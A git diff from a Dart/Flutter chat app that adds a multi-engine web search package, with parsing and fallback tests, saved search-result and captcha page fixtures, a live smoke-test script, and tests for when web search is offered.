expect(dartDev.single.title, 'Dart programming language'); + }, + ); + + test('an explicitly chosen engine never falls back to another', () async { + final fake = FakeEngines({ + _bing: (_) => _html('', 429), + _brave: (_) => _html(fixture('brave_results.html')), + }); + final ddgs = Ddgs(client: fake.client); + + await expectLater( + ddgs.search(query, engine: SearchEngineId.bing), + throwsA( + isA().having( + (e) => e.wasBlocked, + 'wasBlocked', + isTrue, + ), + ), + ); + expect(fake.hosts, [_bing]); + }); + + test('cancelling stops the search without trying other engines', () async { + final requested = Completer(); + final fake = FakeEngines({ + _ddg: (_) { + requested.complete(); + return Completer().future; + }, + _brave: (_) => _html(fixture('brave_results.html')), + }); + final cancel = Completer(); + final ddgs = Ddgs(client: fake.client); + + final search = ddgs.search(query, cancel: cancel.future); + await requested.future; + cancel.complete(); + + await expectLater(search, throwsA(isA())); + expect(fake.hosts, [_ddg]); + }); + + test('a timed-out engine is skipped and not cooled down', () async { + final fake = FakeEngines({ + _ddg: (_) => Completer().future, + _brave: (_) => _html(fixture('brave_results.html')), + }); + final ddgs = Ddgs( + client: fake.client, + requestTimeout: const Duration(milliseconds: 50), + ); + + final response = await ddgs.search(query); + expect(response.engine, SearchEngineId.brave); + expect(response.failures.single.kind, SearchEngineFailureKind.timeout); + expect(ddgs.cooldownUntil(SearchEngineId.duckduckgo), isNull); + }); + + test('engines that answer with no results are not "unavailable"', () async { + final fake = FakeEngines({ + for (final host in [ + _ddg, + _brave, + _bing, + 'www.mojeek.com', + 'en.wikipedia.org', + ]) + host: (_) => _html(''), + }); + final response = await Ddgs(client: fake.client).search(query); + expect(response.results, isEmpty); + expect(response.engine, isNull); + }); +} diff --git a/packages/conduit_ddgs/test/engines_test.dart b/packages/conduit_ddgs/test/engines_test.dart new file mode 100644 index 000000000..59bc9c971 --- /dev/null +++ b/packages/conduit_ddgs/test/engines_test.dart @@ -0,0 +1,198 @@ +import 'dart:io'; + +import 'package:conduit_ddgs/conduit_ddgs.dart'; +import 'package:test/test.dart'; + +String fixture(String name) => File('test/fixtures/$name').readAsStringSync(); + +final _query = SearchQuery( + 'dart programming language', + region: SearchRegion('us-en'), +); + +void main() { + group('parsing', () { + // Each engine must turn its own markup into absolute target URLs; the + // upstream package returned display text and redirector links instead. + final cases = + < + ({ + SearchEngine engine, + String fixture, + int minResults, + String firstUrl, + String firstTitle, + String firstSnippetPrefix, + String engineHost, + }) + >[ + ( + engine: const BingEngine(), + fixture: 'bing_results.html', + minResults: 10, + firstUrl: 'https://dart.dev/', + firstTitle: 'Dart programming language', + firstSnippetPrefix: 'Dart 3.13 is here!', + engineHost: 'bing.com', + ), + ( + engine: const BraveEngine(), + fixture: 'brave_results.html', + minResults: 10, + firstUrl: 'https://dart.dev/', + firstTitle: 'Dart programming language', + firstSnippetPrefix: 'Dart is an approachable, portable', + engineHost: 'brave.com', + ), + ( + engine: const DuckDuckGoEngine(), + fixture: 'duckduckgo_results.html', + minResults: 10, + // DuckDuckGo leads with an "Official site" card; `Ddgs` merges it + // with the organic result for the same URL. + firstUrl: 'https://dart.dev', + firstTitle: 'Official site', + firstSnippetPrefix: 'Dart (programming language)', + engineHost: 'duckduckgo.com', + ), + ( + engine: const MojeekEngine(), + fixture: 'mojeek_results.html', + minResults: 2, + firstUrl: 'https://dart.dev/', + firstTitle: 'Dart programming language | Dart', + firstSnippetPrefix: 'Dart is an approachable, portable', + engineHost: 'mojeek.com', + ), + ( + engine: const WikipediaEngine(), + fixture: 'wikipedia_results.json', + minResults: 5, + firstUrl: + 'https://en.wikipedia.org/wiki/Dart_(programming_language)', + firstTitle: 'Dart (programming language)', + firstSnippetPrefix: 'Dart is a programming language designed', + engineHost: 'wikipedia.org/w/', + ), + ]; + + for (final c in cases) { + test('${c.engine.id.displayName} extracts target links', () { + final body = fixture(c.fixture); + expect(c.engine.isBlocked(200, body), isFalse); + + final results = c.engine.parse(body, _query); + expect(results.length, greaterThanOrEqualTo(c.minResults)); + final first = results.first; + expect(first.url.toString(), c.firstUrl); + expect(first.title, c.firstTitle); + expect(first.snippet, startsWith(c.firstSnippetPrefix)); + for (final result in results) { + expect(result.engine, c.engine.id); + expect(result.url.scheme, anyOf('http', 'https')); + expect(result.url.toString(), isNot(contains(c.engineHost))); + expect(result.title, isNot(contains('\n'))); + } + }); + } + + test('DuckDuckGo skips ads and unwraps redirected links', () { + final results = const DuckDuckGoEngine().parse( + fixture('duckduckgo_wrapped_links.html'), + _query, + ); + expect(results.map((r) => r.url.toString()), [ + 'https://dart.dev/', + 'https://en.wikipedia.org/wiki/Dart_(programming_language)', + 'https://github.com/dart-lang/sdk?tab=readme-ov-file', + ]); + }); + + test('Bing drops its "Read more" link text from snippets', () { + final results = const BingEngine().parse( + fixture('bing_results.html'), + _query, + ); + expect( + results.map((r) => r.snippet), + everyElement(isNot(endsWith('Read more'))), + ); + }); + + test('Wikipedia links use the region language', () { + final results = const WikipediaEngine().parse( + fixture('wikipedia_results.json'), + SearchQuery('dart', region: SearchRegion('de-de')), + ); + expect(results.first.url.host, 'de.wikipedia.org'); + }); + }); + + group('block detection', () { + test('DuckDuckGo anomaly page counts as blocked', () { + final body = fixture('duckduckgo_captcha.html'); + expect(const DuckDuckGoEngine().isBlocked(202, body), isTrue); + // The challenge is recognized by its markup, not only the status. + expect(const DuckDuckGoEngine().isBlocked(200, body), isTrue); + }); + + test('Mojeek captcha page counts as blocked', () { + expect( + const MojeekEngine().isBlocked(200, fixture('mojeek_captcha.html')), + isTrue, + ); + }); + + test('rate-limit statuses count as blocked for every engine', () { + for (final engine in Ddgs.defaultEngines.values) { + expect(engine.isBlocked(429, ''), isTrue, reason: '${engine.id}'); + } + }); + }); + + group('request parameters', () { + // What each engine is sent is the contract with the external service. + test('region and safe search map onto each engine', () { + final query = SearchQuery( + 'q', + region: SearchRegion('uk-en'), + safeSearch: SafeSearch.strict, + timeLimit: SearchTimeLimit.week, + ); + + final ddg = const DuckDuckGoEngine().buildRequest(query); + expect(ddg.method, 'POST'); + expect(ddg.form, containsPair('kl', 'uk-en')); + expect(ddg.form, containsPair('kp', '1')); + expect(ddg.form, containsPair('df', 'w')); + + final bing = const BingEngine().buildRequest(query).url; + expect(bing.queryParameters, containsPair('mkt', 'en-GB')); + expect(bing.queryParameters, containsPair('adlt', 'strict')); + + final brave = const BraveEngine().buildRequest(query); + expect(brave.headers['Cookie'], contains('country=gb')); + expect(brave.headers['Cookie'], contains('safesearch=strict')); + expect(brave.url.queryParameters, containsPair('tf', 'pw')); + + final mojeek = const MojeekEngine().buildRequest(query).url; + expect(mojeek.queryParameters, containsPair('safe', '1')); + expect(mojeek.queryParameters, containsPair('arc', 'gb')); + }); + + test('worldwide sends no market to Bing or Brave', () { + final query = SearchQuery('q'); + final bing = const BingEngine().buildRequest(query).url; + expect(bing.queryParameters.keys, isNot(contains('mkt'))); + final brave = const BraveEngine().buildRequest(query); + expect(brave.headers['Cookie'], contains('country=all')); + }); + + test('Traditional Chinese maps to the zh Wikipedia', () { + final request = const WikipediaEngine().buildRequest( + SearchQuery('q', region: SearchRegion('tw-tzh')), + ); + expect(request.url.host, 'zh.wikipedia.org'); + }); + }); +} diff --git a/packages/conduit_ddgs/test/fixtures/bing_results.html b/packages/conduit_ddgs/test/fixtures/bing_results.html new file mode 100644 index 000000000..53440a54e --- /dev/null +++ b/packages/conduit_ddgs/test/fixtures/bing_results.html @@ -0,0 +1,12 @@ +dart programming language - Search
About 92,800 results
Open links in new tab
  1. Dart programming language

    Dart 3.13 is here! Clean and lightweight code across every layer of Dart. Read the announcement.Read more

  2. DartPad

    An online Dart editor with support for console and Flutter apps.Read more

  3. Get the Dart SDK

    Get the libraries and command-line tools that you need to develop Dart web, command-line, and server apps.Read more

  4. Plan Your Trip - Dallas Area Rapid Transit

    Sign Up for Alerts Just for You! The best way to stay up to date on service alerts and other DART-related news and information is to …Read more

  5. Dart (programming language) - Wikipedia

    To provide an easier way to start using Dart, the Dart team created DartPad at the start of 2015. This online IDE allows developers to …Read more

  6. DART

    Dallas Area Rapid Transit (DART) is a transit agency serving the Dallas–Fort Worth metroplex of Texas. DART operates buses, light …Read more

  7. Dart Tutorial - Learn Dart Programming

    At the end of the session, we provide you with challenges for Dart, and they will help you to improve what you're learning. …Read more

  8. Dart Tutorial - GeeksforGeeks

    Jul 23, 2025 · Dart is a versatile language known for its simplicity and efficiency in developing applications for various platforms. …Read more

  9. Introduction to Dart :: Dart Tutorial - Learn Dart Programming

    Dart is a general purpose programming language to build apps fast for many platforms like android, iOS, web desktop, etc. Google …Read more

  10. Online Dart Compiler (Editor) - Programiz

    Write and run your Dart code using our online Dart compiler. Enjoy additional features like code sharing, dark mode, and support for …Read more

\ No newline at end of file diff --git a/packages/conduit_ddgs/test/fixtures/brave_results.html b/packages/conduit_ddgs/test/fixtures/brave_results.html new file mode 100644 index 000000000..f99eb886e --- /dev/null +++ b/packages/conduit_ddgs/test/fixtures/brave_results.html @@ -0,0 +1,31 @@ + + + + dart programming language - Brave Search + + +
Dart
dart.dev
Dart programming language
Dart is an approachable, portable, and productive language for high-quality apps on any platform.
Docs
Learn to use the Dart language and libraries.
Get Dart
Get the libraries and command-line tools that you need to develop Dart web, command-line, and server apps.
Overview
Dart is a client-optimized language for developing fast apps on any platform. Its goal is to offer the most productive programming language for multi-platform development, paired with a flexible execution runtime platform for app frameworks.
Community
Communities, mailing lists, and bug databases for the Dart project.
Wikipedia
en.wikipedia.org › wiki › Dart_(programming_language)
Dart (programming language) - Wikipedia
August 11, 2026 - Dart is a programming language designed by Lars Bak and Kasper Lund and developed by Google. It can be used to develop web and mobile apps as well as server and desktop applications. Dart is an object-oriented, class-based, garbage-collected language with C-style syntax.
Discussions

Learning Dart as first ever programming language - need opinions!
Dart is a great language. There is plenty of functionality that will help you with C#, Java, Javascript, and more. All languages have similarities, but differ in their approach. The key thing is that you understand variables, loops, async functions, and OOP. You can do that with Dart, and transfer those skills elsewhere. More on reddit.com
r/FlutterDev
33
12
January 24, 2025
Learn Dart in 2021

Dart feels like a solution that is still looking for a problem.

+ More on reddit.com
r/programming
8
0
March 30, 2021
Should i learn any language before or after dart?
just start with dart. if you already familiar with javascript you wont have a hard time. plus dart is easy to learn. i find it easier to learn than java tbh. More on reddit.com
r/dartlang
26
9
August 29, 2021
Dart, is it worth it for a job?

+ This has been asked 10000 times already and the answer is always the same. Flutter is already huge, but it takes time til the job market opens up to new technologies. So yes it is worth spending time. +

+ But in general: If you want to be a professional programmer, you should not be limited to one tool anyway. Knowing more than just one language/framework is very important. You should strive for becoming a good programmer, not just a good Dart/JS/Rust/whatever programmer. +

More on reddit.com
r/dartlang
15
17
November 27, 2020
Reddit
reddit.com › r/dartlang › why isn't dart used more?
r/dartlang on Reddit: Why isn't dart used more?
March 21, 2023 -

+ Someone recently asked what can you do with dart apart from flutter. Most comments said you can do nearly everything with it. +

+ Why isn't it more popular then? I'm still a student and most stats the teachers show us either don't show dart at all or it's in the bottom 5. +

Top answer
1 of 30
48
One thing you’ll find is that many bad programming languages have excelled and forced good languages into minority status. In the 90s Perl and Python were competing for mindshare. Perl was always more popular. Then php came along which was worse than both but had a lower friction level for getting a web site deployed. It quickly beat out both of them. Today Python is crowding out other more suitable languages in the data processing and machine learning space but it has easier to use tools. Dart is a good language but was never a groundbreaking one. That’s changing see the roadmap for details. There are other great languages out there that people are already using and have little need to make a switch from. For Dart to take some of that mindshare away from those languages it will need to have awesome tooling around it that provides low friction to getting something done. You probably won’t see that on the server any time soon. You may see it in the browser with web assembly in the next 6-12 months or you may see another language/toolset take that mindshare. +
2 of 30
31
In the professional world, what would be the gain I get from using Dart in our projects? What is it going to do better than C# or Go for backend/api work? On the flipside, it introduces risk: there are a shortage of developers already, how am I going to find Dart ones? 3rd party support is not as good etc. So for fronted/flutter work it's great but anything else it's got stiff and established competition. +
GeeksforGeeks
geeksforgeeks.org › dart › dart-tutorial
Dart Tutorial - GeeksforGeeks
July 23, 2025 - Dart is an open-source general-purpose programming language developed by Google. It supports application development on both the client and server side.
Deus in Machina
deusinmachina.net › deus in machina › the dart programming language is underrated
The Dart Programming Language Is Underrated
December 5, 2024 - They removed legacy features and improved the language based on feedback from the Flutter Team, AdWords, AdSense and Dart community. With these changes Dart modified its focus to lean into its ability to compile into efficient JavaScript, its ability to modify programs as they ran through hot reload, and the safety of the language through its sound type system.
GitHub
github.com › dart-lang
Dart · GitHub
5 days ago - Dart is an open-source, scalable programming language, with robust libraries and runtimes, for building web, server, and mobile apps. - Dart
Google Open Source
opensource.google › google open source projects › dart
Dart | Google Open Source Projects
Dart is a modern programming language developed as open-source sponsored by Google.
Find elsewhere
TutorialsPoint
tutorialspoint.com › dart_programming › index.htm
Dart Programming Tutorial
Dart is an open-source general-purpose programming language. It is originally developed by Google and later approved as a standard by ECMA. Dart is a new programming language meant for the server as well as the browser.
Reddit
reddit.com › r/flutterdev › learning dart as first ever programming language - need opinions!
r/FlutterDev on Reddit: Learning Dart as first ever programming language - need opinions!
January 24, 2025 -

+ So I'm in my first semester of university doing a computer science bachelor's degree. Choosing which language to teach is dependant on the professor. It looks like mine is going with Dart. +

+ I have no prior experience to coding, not even C++. I have not yet decided which domain I want to go in; Data Science, Web Dev, Flutter etc. +

+ Is learning Dart going to help me in the future? Even if I don't use it, do the concepts and learning aspect will make it easier for me to learn other languages? And compared to C++, Python or Java, how difficult or easy is it to learn Dart. +

+ Thank you! +

Dart
dart.dev › overview
Dart overview
July 8, 2026 - Dart is a client-optimized language for developing fast apps on any platform. Its goal is to offer the most productive programming language for multi-platform development, paired with a flexible execution runtime platform for app frameworks.
Reddit
reddit.com › r › dartlang
Dart Programming Language
September 9, 2011 - This study explores the quality of tests in Dart, the main language for mobile application development with the Flutter framework. Methods: The study begins by using the DNose tool, used to detect 14 types of test smells in code written in the Dart language. Next, we evaluate the tool’s precision, accuracy, recall, and F1-score.
YouTube
youtube.com › watch
Welcome to the Dart and Flutter tutorial! - YouTube
This video introduces the Dart and Flutter Getting Started tutorial found on the official documentation sites. Start the written tutorial session here! → ht...
Published: February 3, 2026
Topcoder
topcoder.com › thrive › articles › Dart Programming Language
Dart Programming Language
December 30, 2019 - Dart is a programming language designed to create applications that are fast on many platforms. When this tutorial was written Dart was implemented in making applications on the mobile platform (Android or iOS), backend (web or server), and ...
Dart
dart.dev › language
Introduction to Dart
Dart 3.13 is here! Clean and lightweight code across every layer of Dart.
Medium
medium.com › @melikebalpnar › dart-programming-language-basics-61b34e2a3626
Dart Programming Language Basics. What is Dart? Dart is an… | by Melike Balpınar Güllü | Medium
July 15, 2022 - What is Dart? Dart is an object-oriented programming language, and it supports all the concepts of oop such as class classes, inheritance..
IONOS
ionos.com › digital guide › websites › web development › dart programming language
Programming Language Dart - IONOS
July 11, 2023 - Anyone who has already worked with C# will be able to quickly fa­mil­iar­ize them­selves with Dart. This pro­gram­ming language has been developed for the web. Due to being able to be quickly and directly converted into JavaScript, Dart can work in all modern mobile and desktop browsers. To program with this language, all you need is a simple text editor.
Medium
medium.com › @AliBehzadian › dart-and-other-programming-languages-ce3e5cbf0ed5
Dart And Other Programming Languages | by Ali Behzadian | Medium
May 20, 2022 - If I want to define Dart from programming view, it is “An object-oriented programming language with syntax like C and Java, that can compile to native code or Javascript.” It is also free and open-source and is backed by Google.
Proxify
proxify.io › articles › what-is-dart-and-what-is-it-used-for
What is Dart and what is it used for?
January 31, 2021 - The Dart programming language was first launched back in 2011 at a conference in Denmark. At that time, the Dart language was relatively small compared to other languages such as C#, JavaScript, or Python.
Flutter Gems
fluttergems.dev
Flutter Gems - A Curated List of Top Dart and Flutter packages
94 packages address arabic_numbers arb_generator arb_translate arb_translator arb_utils auto_app_translate auto_lang_field auto_localized auto_screenshot_translate auto_store_translate auto_translator bangla_utilities basic_message best_localization best_naveen_localization bidi bye_bye_localization charset csv_localizations deepl_dart devicelocale digit_to_persian_word easy_localization easy_localization_loader enough_convert excel_localization ez_localization firebase_ui_localizations fluent fluintl flutter_arb_translator flutter_device_locale flutter_easy_translate flutter_i18n flutter_kurd
programming language
Dart is a programming language designed by Lars Bak and Kasper Lund and developed by Google. It can be used to develop web and mobile apps as well as server and desktop … Wikipedia
Factsheet
Designed by Lars Bak, Kasper Lund
Developer Google
Factsheet
Designed by Lars Bak, Kasper Lund
Developer Google
+
+ + diff --git a/packages/conduit_ddgs/test/fixtures/duckduckgo_captcha.html b/packages/conduit_ddgs/test/fixtures/duckduckgo_captcha.html new file mode 100644 index 000000000..4f2419528 --- /dev/null +++ b/packages/conduit_ddgs/test/fixtures/duckduckgo_captcha.html @@ -0,0 +1,102 @@ + + + + + + DuckDuckGo + + + + +
+
+ + DuckDuckGo + +

+ +
+
+
+
+
Unfortunately, bots use DuckDuckGo too.
+
Please complete the following challenge to confirm this search was made by a human.
+
Select all squares containing a duck:
+
+
+
+ +
+
+ +
+
+ +
+
+ +
+
+ +
+
+ +
+
+ +
+
+ +
+
+ +
+
+
+
+ +

+ + + +
+
+ +
+

+ +

+
+ + diff --git a/packages/conduit_ddgs/test/fixtures/duckduckgo_results.html b/packages/conduit_ddgs/test/fixtures/duckduckgo_results.html new file mode 100644 index 000000000..368083ace --- /dev/null +++ b/packages/conduit_ddgs/test/fixtures/duckduckgo_results.html @@ -0,0 +1,381 @@ + + + + + + + + dart programming language at DuckDuckGo + + + +
+ +
+
+
+ + +
+
+

+ Dart (programming language) +

+
+ + + + Dart is a programming language designed by Lars Bak and Kasper Lund and developed by Google. It can be used to develop web and mobile apps as well as server and desktop applications. Dart is an object-oriented, class-based, garbage-collected language with C-style syntax. It can compile to machine code, JavaScript, or WebAssembly. It supports interfaces, mixins, abstract classes, reified generics and type inference. The latest version of Dart is 3.12.2. + More at Wikipedia +
+
+
+ +
+
+ +
+
+
+
+ + + \ No newline at end of file diff --git a/packages/conduit_ddgs/test/fixtures/duckduckgo_wrapped_links.html b/packages/conduit_ddgs/test/fixtures/duckduckgo_wrapped_links.html new file mode 100644 index 000000000..b39e8af93 --- /dev/null +++ b/packages/conduit_ddgs/test/fixtures/duckduckgo_wrapped_links.html @@ -0,0 +1,61 @@ + + + +dart programming language at DuckDuckGo + + + + diff --git a/packages/conduit_ddgs/test/fixtures/mojeek_captcha.html b/packages/conduit_ddgs/test/fixtures/mojeek_captcha.html new file mode 100644 index 000000000..4caf4ca4d --- /dev/null +++ b/packages/conduit_ddgs/test/fixtures/mojeek_captcha.html @@ -0,0 +1,13 @@ + + + +Captcha + + + +

JavaScript is required to complete this challenge. Please enable it and reload the page.

+ + diff --git a/packages/conduit_ddgs/test/fixtures/mojeek_results.html b/packages/conduit_ddgs/test/fixtures/mojeek_results.html new file mode 100644 index 000000000..e31ed9030 --- /dev/null +++ b/packages/conduit_ddgs/test/fixtures/mojeek_results.html @@ -0,0 +1,15 @@ + + + +dart programming language - Mojeek Search + +
+ +
+ + diff --git a/packages/conduit_ddgs/test/fixtures/wikipedia_results.json b/packages/conduit_ddgs/test/fixtures/wikipedia_results.json new file mode 100644 index 000000000..692a47a4a --- /dev/null +++ b/packages/conduit_ddgs/test/fixtures/wikipedia_results.json @@ -0,0 +1 @@ +{"batchcomplete":"","continue":{"sroffset":5,"continue":"-||"},"query":{"searchinfo":{"totalhits":2268},"search":[{"ns":0,"title":"Dart (programming language)","pageid":33033735,"size":39041,"wordcount":3397,"snippet":"Dart is a programming language designed by Lars Bak and Kasper Lund and developed by Google. It can be used to develop web and mobile apps as well as server","timestamp":"2026-08-11T23:50:20Z"},{"ns":0,"title":"List of programming languages by type","pageid":144144,"size":100488,"wordcount":6950,"snippet":"notable programming languages listed here are grouped by their notable language attribute. As a language can have multiple attributes, the same language can","timestamp":"2026-09-15T23:43:15Z"},{"ns":0,"title":"Symbol (programming)","pageid":21968650,"size":12075,"wordcount":1184,"snippet":"computer programming is a primitive data type whose instances have a human-readable form. Symbols can be used as identifiers. In some programming languages, they","timestamp":"2025-09-12T14:25:11Z"},{"ns":0,"title":"Dart","pageid":285448,"size":5108,"wordcount":703,"snippet":"Look up Dart, dart, or DART in Wiktionary, the free dictionary. Dart or DART may refer to: Dart (missile), a thrown weapon, also used in the game of darts","timestamp":"2026-09-21T19:57:48Z"},{"ns":0,"title":"Ceylon (programming language)","pageid":31483631,"size":16196,"wordcount":1537,"snippet":"object-oriented, strongly statically typed programming language with an emphasis on immutability, created by Red Hat. Ceylon programs run on the Java virtual machine","timestamp":"2026-08-12T22:20:39Z"}]}} \ No newline at end of file diff --git a/packages/conduit_ddgs/tool/live_smoke.dart b/packages/conduit_ddgs/tool/live_smoke.dart new file mode 100644 index 000000000..096fe8052 --- /dev/null +++ b/packages/conduit_ddgs/tool/live_smoke.dart @@ -0,0 +1,52 @@ +// Live check of every engine against the real services. Not run in CI: +// results depend on the network, and repeated runs from one address earn +// captchas. +// +// cd packages/conduit_ddgs && dart run tool/live_smoke.dart [query] +// +// A captcha or rate limit (~) says nothing about the parsers. An empty +// answer (∅) is ambiguous: Bing, for one, serves a real "no results" page to +// clients it suspects of scraping. Exits non-zero only when every engine +// that answered came back empty, the signature of changed markup; rerun +// with another query before trusting a single ∅. +import 'dart:io'; + +import 'package:conduit_ddgs/conduit_ddgs.dart'; +import 'package:http/http.dart' as http; + +Future main(List args) async { + final text = args.isEmpty ? 'dart programming language' : args.join(' '); + final query = SearchQuery(text, region: SearchRegion('us-en')); + final client = http.Client(); + final ddgs = Ddgs(client: client); + var answered = 0; + var withResults = 0; + + for (final id in SearchEngineId.values) { + final stopwatch = Stopwatch()..start(); + try { + final response = await ddgs.search(query, engine: id, maxResults: 3); + final ms = stopwatch.elapsedMilliseconds; + answered++; + if (response.results.isEmpty) { + stdout.writeln('∅ ${id.displayName}: answered, no results (${ms}ms)'); + continue; + } + withResults++; + stdout.writeln( + '✓ ${id.displayName}: ${response.results.length} (${ms}ms)', + ); + for (final result in response.results) { + stdout.writeln(' ${result.url} ${result.title}'); + } + } on WebSearchUnavailableException catch (error) { + final failure = error.failures.single; + stdout.writeln( + '~ ${id.displayName}: ${failure.kind.name}' + '${failure.statusCode == null ? '' : ' (HTTP ${failure.statusCode})'}', + ); + } + } + client.close(); + exit(answered > 0 && withResults == 0 ? 1 : 0); +} diff --git a/pubspec.yaml b/pubspec.yaml index 48b36dad8..38325b05f 100644 --- a/pubspec.yaml +++ b/pubspec.yaml @@ -16,6 +16,7 @@ environment: # pub fails loudly if only one side is updated. workspace: - packages/conduit_core + - packages/conduit_ddgs - packages/conduit_markdown - packages/conduit_theme diff --git a/test/core/providers/web_search_availability_test.dart b/test/core/providers/web_search_availability_test.dart index 2785260bd..298ca0a6e 100644 --- a/test/core/providers/web_search_availability_test.dart +++ b/test/core/providers/web_search_availability_test.dart @@ -7,6 +7,7 @@ import 'package:conduit_core/features/direct_connections/models/direct_connectio import 'package:conduit_core/features/direct_connections/models/direct_remote_model.dart'; import 'package:conduit_core/features/direct_connections/providers/direct_connection_providers.dart'; import 'package:conduit_core/features/direct_connections/services/direct_model_registry.dart'; +import 'package:conduit_core/features/web_search/services/direct_web_search_mode.dart'; import 'package:flutter_riverpod/flutter_riverpod.dart'; import 'package:flutter_test/flutter_test.dart'; @@ -246,61 +247,61 @@ void main() { }, ); - test('direct web search requires every trusted Cloud capability', () async { - Future availability({ - required String adapterKey, - required Map capabilities, - }) async { - final registry = DirectModelRegistry(); - final model = registry.replaceProfileModels( - DirectConnectionProfile( - id: 'direct-provider', - name: 'Direct provider', - adapterKey: adapterKey, - baseUrl: 'https://ollama.com', + test( + 'an untrusted capability claim never selects provider-hosted search', + () async { + // Models that claim Ollama Cloud's hosted tool without the trusted + // profile fall back to Conduit's own on-device search instead. + Future mode({ + required String adapterKey, + required Map capabilities, + }) async { + final registry = DirectModelRegistry(); + final model = registry.replaceProfileModels( + DirectConnectionProfile( + id: 'direct-provider', + name: 'Direct provider', + adapterKey: adapterKey, + baseUrl: 'https://ollama.com', + ), + [DirectRemoteModel(id: 'model', capabilities: capabilities)], + ).single; + final container = _container( + const AsyncData>({ + 'features': {'web_search': false}, + }), + backendConfig: const BackendConfig(enableWebSearch: false), + selectedModel: model, + directModelRegistry: registry, + ); + addTearDown(container.dispose); + await container.read(backendConfigProvider.future); + return container.read(selectedDirectWebSearchModeProvider); + } + + for (final (adapterKey, capabilities) in [ + (kOllamaAdapterKey, const {'web_search': true}), + ( + kOllamaAdapterKey, + const {'ollama_cloud': false, 'web_search': true}, ), - [DirectRemoteModel(id: 'model', capabilities: capabilities)], - ).single; - final container = _container( - const AsyncData>({ - 'features': {'web_search': false}, - }), - backendConfig: const BackendConfig(enableWebSearch: false), - selectedModel: model, - directModelRegistry: registry, - ); - addTearDown(container.dispose); - await container.read(backendConfigProvider.future); - return container.read(webSearchAvailableProvider); - } + ( + kOllamaAdapterKey, + const {'ollama_cloud': true, 'web_search': false}, + ), + ( + kOpenAiCompatibleAdapterKey, + const {'ollama_cloud': true, 'web_search': true}, + ), + ]) { + check(await mode(adapterKey: adapterKey, capabilities: capabilities)) + .equals(DirectWebSearchMode.onDevice); + } + }, + ); - check( - await availability( - adapterKey: kOllamaAdapterKey, - capabilities: const {'web_search': true}, - ), - ).isFalse(); - check( - await availability( - adapterKey: kOllamaAdapterKey, - capabilities: const {'ollama_cloud': false, 'web_search': true}, - ), - ).isFalse(); - check( - await availability( - adapterKey: kOllamaAdapterKey, - capabilities: const {'ollama_cloud': true, 'web_search': false}, - ), - ).isFalse(); - check( - await availability( - adapterKey: kOpenAiCompatibleAdapterKey, - capabilities: const {'ollama_cloud': true, 'web_search': true}, - ), - ).isFalse(); - }); - - test('local direct models never inherit Open WebUI web search', () async { + test('device-owned direct models search on the device, whatever the ' + 'Open WebUI server allows', () async { final registry = DirectModelRegistry(); final model = registry.replaceProfileModels( DirectConnectionProfile( @@ -313,9 +314,9 @@ void main() { ).single; final container = _container( const AsyncData>({ - 'features': {'web_search': true}, + 'features': {'web_search': false}, }), - backendConfig: const BackendConfig(enableWebSearch: true), + backendConfig: const BackendConfig(enableWebSearch: false), selectedModel: model, directModelRegistry: registry, ); @@ -323,9 +324,85 @@ void main() { await container.read(backendConfigProvider.future); - check(container.read(webSearchAvailableProvider)).isFalse(); + check(container.read(selectedDirectWebSearchModeProvider)) + .equals(DirectWebSearchMode.onDevice); + check(container.read(webSearchAvailableProvider)).isTrue(); }); + test( + 'a direct model that reports no tool support hides web search', + () async { + final registry = DirectModelRegistry(); + final model = registry.replaceProfileModels( + DirectConnectionProfile( + id: 'local-ollama', + name: 'Local Ollama', + adapterKey: kOllamaAdapterKey, + baseUrl: 'http://localhost:11434', + ), + [ + DirectRemoteModel( + id: 'gemma:2b', + capabilities: const { + 'capabilities': ['completion'], + }, + ), + ], + ).single; + final container = _container( + const AsyncData>({}), + selectedModel: model, + directModelRegistry: registry, + ); + addTearDown(container.dispose); + + check(container.read(webSearchAvailableProvider)).isFalse(); + }, + ); + + test( + 'server-configured direct models follow the server web search policy', + () async { + Future availability({ + required bool serverEnabled, + required bool permitted, + }) async { + final registry = DirectModelRegistry(); + final model = registry + .replaceProfileModels( + DirectConnectionProfile( + id: 'owui-connection', + name: 'Server connection', + adapterKey: kOpenAiCompatibleAdapterKey, + baseUrl: 'https://llm.example.com/v1', + ), + [DirectRemoteModel(id: 'model')], + source: DirectModelSource.openWebUi, + openWebUiUrlIndex: 0, + ) + .single; + final container = _container( + AsyncData>({ + 'features': {'web_search': permitted}, + }), + backendConfig: BackendConfig(enableWebSearch: serverEnabled), + selectedModel: model, + directModelRegistry: registry, + ); + addTearDown(container.dispose); + await container.read(backendConfigProvider.future); + return container.read(webSearchAvailableProvider); + } + + check(await availability(serverEnabled: true, permitted: true)) + .isTrue(); + check(await availability(serverEnabled: false, permitted: true)) + .isFalse(); + check(await availability(serverEnabled: true, permitted: false)) + .isFalse(); + }, + ); + test( 'first-party OpenRouter models expose trusted model actions', () async { diff --git a/test/core/services/settings_service_test.dart b/test/core/services/settings_service_test.dart index 6c6b7851b..ec21a34de 100644 --- a/test/core/services/settings_service_test.dart +++ b/test/core/services/settings_service_test.dart @@ -3,6 +3,7 @@ import 'package:flutter_riverpod/flutter_riverpod.dart'; import 'package:flutter_test/flutter_test.dart'; import 'package:shared_preferences/shared_preferences.dart'; +import 'package:conduit_core/features/web_search/web_search.dart'; import 'package:conduit_core/persistence/persistence_keys.dart'; import 'package:conduit_core/persistence/preferences_store.dart'; import 'package:conduit_core/services/settings_service.dart'; @@ -462,6 +463,35 @@ void main() { }); }); + group('AppSettingsNotifier web search preferences', () { + setUp(() { + PreferencesStore.debugReset(); + SharedPreferences.setMockInitialValues({}); + }); + + tearDown(PreferencesStore.debugReset); + + test('persist across reloads, and Auto region clears the code', () async { + final container = ProviderContainer(); + addTearDown(container.dispose); + final notifier = container.read(appSettingsProvider.notifier); + + await notifier.setWebSearchEngine(WebSearchEngineChoice.brave); + await notifier.setWebSearchSafeSearch(SafeSearch.strict); + await notifier.setWebSearchRegion('de-de'); + + final reloaded = await SettingsService.loadSettings(); + check(reloaded.webSearchEngine).equals(WebSearchEngineChoice.brave); + check(reloaded.webSearchSafeSearch).equals(SafeSearch.strict); + check(reloaded.webSearchRegion).equals('de-de'); + + await notifier.setWebSearchRegion(kWebSearchRegionAuto); + check(PreferencesStore.containsKey(PreferenceKeys.webSearchRegion)) + .isFalse(); + check((await SettingsService.loadSettings()).webSearchRegion).isNull(); + }); + }); + group('SettingsService.normalizeSttLanguageCode', () { test('normalizes two-letter language codes', () { check(SettingsService.normalizeSttLanguageCode('PL')).equals('pl'); diff --git a/test/features/chat/widgets/modern_chat_input_direct_test.dart b/test/features/chat/widgets/modern_chat_input_direct_test.dart index 3fc8cb73e..1960959fd 100644 --- 